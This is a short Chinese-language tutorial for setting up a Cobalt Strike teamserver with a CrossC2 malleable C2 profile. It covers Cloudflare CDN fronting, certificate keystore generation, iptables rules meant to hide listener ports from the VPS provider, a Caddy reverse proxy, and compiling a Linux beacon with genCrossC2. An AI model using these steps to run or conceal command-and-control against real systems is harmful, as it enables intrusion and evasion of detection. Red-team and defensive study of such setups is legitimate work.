c2profile上线

使用c2profile启动teamserver

下载使用c2profile
本文使用的c2profile为https://github.com/Richard-Tang/CrossC2-C2Profile
编辑profile文件以及c文件中对应的host
修改profile文件中关于证书的部分

cdn

本文使用的为cloudflare
需要在规则中添加规则,对所有js文件的缓存实行绕过

证书

生成p12
openssl pkcs12 -export -in server.pem -inkey server.key -out [siteName].p12 -name [siteName] -passout pass:[passwd]
生成store
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore [siteName].store -srckeystore [siteName].p12 -srcstoretype PKCS12 -srcstorepass [passwd] -alias [siteName]

规避vps服务商限制

启用防火墙

为了防止被vps运营商从ip扫描到特征,用防火墙禁止掉从外部访问端口,只允许从反代域名访问

//允许源地址127.0.0.1访问8443端口
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
//拒绝8443端口访问
iptables -A INPUT -p tcp --dport 8443 -j DROP
//允许源地址127.0.0.1访问8080端口
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8080 -j ACCEPT
//拒绝8080端口访问
iptables -A INPUT -p tcp --dport 8080 -j DROP

配置caddy

[site]:8443 {
        tls /root/server.pem /root/server.key //证书位置
        reverse_proxy https://127.0.0.1:8443 { //https listener
                transport http {
                        tls
                        tls_insecure_skip_verify
                }
        }
}

[site]:80 { //http listener
        reverse_proxy http://127.0.0.1:8080
}

生成执行文件

编译so文件
gcc c2profile.c -fPIC -shared -o CrossC2-C2Profile.so
生成可执行文件
./genCrossC2.Linux [host] [port] [cobaltstrike.beacon_keys] CrossC2-C2Profile.so Linux x64 ./test